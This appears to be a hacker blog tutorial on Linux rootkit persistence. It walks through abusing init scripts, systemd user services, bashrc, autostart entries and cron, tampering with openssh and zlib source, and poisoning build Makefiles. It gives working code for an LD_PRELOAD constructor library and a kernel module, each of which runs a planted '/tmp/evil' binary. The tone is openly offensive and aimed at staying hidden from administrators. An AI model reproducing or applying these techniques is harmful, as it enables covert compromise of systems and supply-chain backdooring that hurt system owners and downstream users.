dig deeper into user space
lets abuse inits
the INIT
a lot of script kiddies know how to write their own SysV service file or modify the existing ones, fortunate for them, SysVinit is still widely supported in Linux world. Debian family choose to keep their SysVinit compatability, which is also why systemd-sysv exists, thus, Ubuntu inherited this shit too.
for Ubuntu, things can be quite complicated, it historically used upstart, switched to systemd from 15.04, then dropped upstart and became more like Debian.
heres a screenshot for INIT on Ubuntu 18.04:
almost forgot the rootkit part...
yea, for most of the cases, we use SysV style service file, which, is basically shell scripts, you can find them in many devices, include IoT ones:
#!/bin/sh
# all comments have been removed
PATH=/bin:/usr/bin:/sbin:/usr/sbin
DESC="cron daemon"
NAME=cron
DAEMON=/usr/sbin/cron
PIDFILE=/var/run/crond.pid
SCRIPTNAME=/etc/init.d/"$NAME"
test -f $DAEMON || exit 0
. /lib/lsb/init-functions # wow, why not put our evil functions in this?
[ -r /etc/default/cron ] && . /etc/default/cron
parse_environment() {
for ENV_FILE in /etc/environment /etc/default/locale; do
[ -r "$ENV_FILE" ] || continue
[ -s "$ENV_FILE" ] || continue
for var in LANG LANGUAGE LC_ALL LC_CTYPE; do
value=$(egrep "^${var}=" "$ENV_FILE" | tail -n1 | cut -d= -f2)
[ -n "$value" ] && eval export $var=$value
if [ -n "$value" ] && [ "$ENV_FILE" = /etc/environment ]; then
log_warning_msg "/etc/environment has been deprecated for locale information; use /etc/default/locale for $var=$value instead"
fi
done
done
# Get the timezone set.
if [ -z "$TZ" -a -e /etc/timezone ]; then
TZ=$(cat /etc/timezone)
fi
}
# Parse the system's environment
if [ "$READ_ENV" = "yes" ]; then
parse_environment
fi
case "$1" in
start)
log_daemon_msg "Starting periodic command scheduler" "cron" # we can modify this function, without bringing too much attention
start_daemon -p $PIDFILE $DAEMON $EXTRA_OPTS
log_end_msg $?
;;
stop)
log_daemon_msg "Stopping periodic command scheduler" "cron"
killproc -p $PIDFILE $DAEMON
RETVAL=$?
[ $RETVAL -eq 0 ] && [ -e "$PIDFILE" ] && rm -f $PIDFILE
log_end_msg $RETVAL
;;
restart)
log_daemon_msg "Restarting periodic command scheduler" "cron"
$0 stop
$0 start
;;
reload | force-reload)
log_daemon_msg "Reloading configuration files for periodic command scheduler" "cron"
# cron reloads automatically
log_end_msg 0
;;
status)
status_of_proc -p $PIDFILE $DAEMON $NAME && exit 0 || exit $?
;;
*)
log_action_msg "Usage: /etc/init.d/cron {start|stop|status|restart|reload|force-reload}"
exit 2
;;
esac
exit 0
if we were going to inplement our lovely rootkit in this service, please read the above code carefully
an example here:
put it to:
/etc/init.d
/etc/rc[runlevel].d
/etc/rc.local
you will need root for this
for systemd, we can do this without root, thats where systemd/User comes in
possible service file locations:
/etc/systemd/system
/etc/systemd/user
/lib/systemd/system
/lib/systemd/user
~/.local/share/systemd/user
~/.config/systemd/user
write service file like this:
[Unit]
Description=Music Player Daemon
[Service]
ExecStart=/tmp/evil hello_from_systemd_user
[Install]
WantedBy=default.target
use systemctl --user enable service
for user services, systemctl enable service
is for system-wide service
bashrc
very handy as well!
bash shell is frequently executed, which means bashrc files are, too
there are some files you might love:
/etc/profile
~/.bashrc
~/.bash_profile
~/.bash_logout
just add something like
/tmp/evil hello_from_bashrc
thats it
xinitrc
you probably wont believe this, but quite a lot linux servers have Xorg installed (coz they want GUI), the most used distro for those admins, is CentOS6 with Gnome2
other RCs
many programs have their own RC file for init config purposes, such as VIM
they exec code in RCs, and the RCs can be placed under ~
, lets abuse VIM:
abuse GUI/DE
most linux servers dont have any GUI installed, thus dont need to worry about this part. but like i said, there are plenty of boxes have Gnome (mostly CentOS/RHEL), i guess knowing a little bit about linux desktop can help you make better use of these
XDG autostart for system
put a desktop file to /etc/xdg/autostart
and it will be executed on DE boot:
XDG autostart for user
likewise, put the above file to ~/.config/autostart
and it will be executed on user login
our favorite -- crond
its indeed script kids' favorite, coz its as straight forward as Windows's schedule task. however its also well known to sys admins :(
so, lets put our job to some hidden places like /etc/cron.d
insead of /var/spool/cron
im sure everybody knows how to write a cron job:
replacing files
it can be done in many ways, here im going to show you some source code tampering trick
take openssh as an example, we can download its source and modify some function
uncompress_buffer()
will only be used when ssh -C
is specified, emmm, so be it, it is the one
when needed, use ssh -C target
and the target will run our evil function
we can patch existing binaries with our shellcode, without having to recompile the whole project. theres a tool called backdoor-factory can help you with that
plus, if we are in a git/svn server, make use of the source code it hosts, modify its Makefile
or configure
or something else useful. through which, you have a chance running your code in a mass scale of targets, or worst, just run it on the git/svn build server
abuse dynamic libs
the use dynamic libs is very common, simply put, libs contain all the functions an executable calls, which means we can add our own code and get executed too
replace it
most of the cases, we dont patch existing SOs (shared object), to add our code, we need to recompile the lib
to find a lib to tamper with, we use ldd
to reveal its links to every dynamic lib:
here, we play with libz.so.1
, coz its a lot like the example in previous part
libz.so.1
comes from zlib, you can check it with your package manager:
download openssh portable 7.9 source, grep search zlib
keyword, we can easily find some code resides in packet.c
:
now we change zlib's code, add system()
to inflate()
function (which is located in inflate.c
):
build zlib and use the modified libz.so*
to replace the legit ones in target system, and run ssh -C
to trigger our code:
NOTE as dynamic libs, their functions get called frequently by ELFs, we better not add overhead to our code. and BEWARE, what if some external ELF we call in our lib code calls back? that would be a disaster
ld.so.preload
thats what script kids use, yes, according to ld.so
's manual, ld.so
handles every ELF/a.out in Linux,
The program ld.so handles a.out binaries, a format used long ago; ld-linux.so* (/lib/ld-linux.so.1 for libc5, /lib/ld-linux.so.2 for glibc2) handles ELF, which everybody has been using for years now. Otherwise, both have the same behavior, and use the same support files and programs as ldd(1), ldconfig(8), and /etc/ld.so.conf.
except for statically linked ELFs, which has their own ld.a
bundled with everything else
to load a lib before ld.so
handles any ELFs, we put our lib into /etc/ld.so.preload
, or set LD_PRELOAD=/path/to/libwhatever.so
, the latter, is more stealth
our lib is named libevil.so
as a lib, it cant just get executed, it needs to be called. but what fucking ELF would call our libevil
??? no worries, we can use something like DllMain
, its provided by GCC:
here comes our code:
#include <stdio.h>
#include <unistd.h>
static void __attribute__((constructor))
lib_init(void);
static void lib_init(void)
{
int pid = fork();
if (pid == 0) {
execl("/tmp/evil", "/tmp/evil", "hello_from_evil\n", (char*)NULL);
}
puts("evil lib initialized");
return;
}
and the Makefile
:
all:
gcc -Wall -fPIC -shared -o libevil.so evil.c -ldl
clean:
rm -f libevil.so *main*
make it and upload to target, test it out:
NOTE libevil.so
gets run before any ELFs, therefore we cant call anything dynamic, to prevent boom. also, execl()
doesnt return unless it gets an error, which means libevil.so
will exit its current process before any ELF acutally gets run, resulting in an unusable system
btw, system()
always call /bin/sh
, thus cant be used in our libevil.so
so, why not write our rootkit entirely in libs?
make use of kernel space
LKM
linux can load unverified kernel modules on the fly, sounds cool huh?
writing LKMs is easier than it looks, just write a Makefile
first, you will know when you see it:
obj-m += temp.o
all:
make -C /lib/modules/$(shell uname -r)/build/ M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build/ M=$(PWD) clean
and the LKM code comes in:
#include <linux/kernel.h>
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL"); // if not specified, the kernel is gonna complain
static int cmd(char* argv[], char* envp[])
/* execute shell commands */
{
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); // this is how we execute something
// envp is useful as it provides env var support
printk("exec cmd %s\n", *argv);
return 0;
}
static int init_mod(void)
/*module setup*/
{
char* shell[] = { "/tmp/evil", "hello_from_lkm", NULL };
cmd(shell, NULL);
printk("initialized module\n");
return 0;
}
static void cleanup_mod(void)
/*module shutdown*/
{
char* shell[] = { "/bin/rm", "/tmp/evil.log", NULL };
cmd(shell, NULL);
printk("module removed\n");
return;
}
/* specify init and exit method */
module_init(init_mod);
module_exit(cleanup_mod);
simply put, you need module_init()
and module_exit()
, with your custom int init(void)
abd void exit(void)
as args
after building the LKM, insmod
helps you load the module, rmmod
does the opposite
lets load it and see:
no one seems to care about initrd
you can write LKM to /etc/rc.modules
or something to load your LKM on boot, but theres a better way to do that
yes initrd helps a lot
if you dont understand the way linux boots itself, go to this article
for Kali Rolling (Linux 4.18), we have the following demo:
Comments
comments powered by Disqus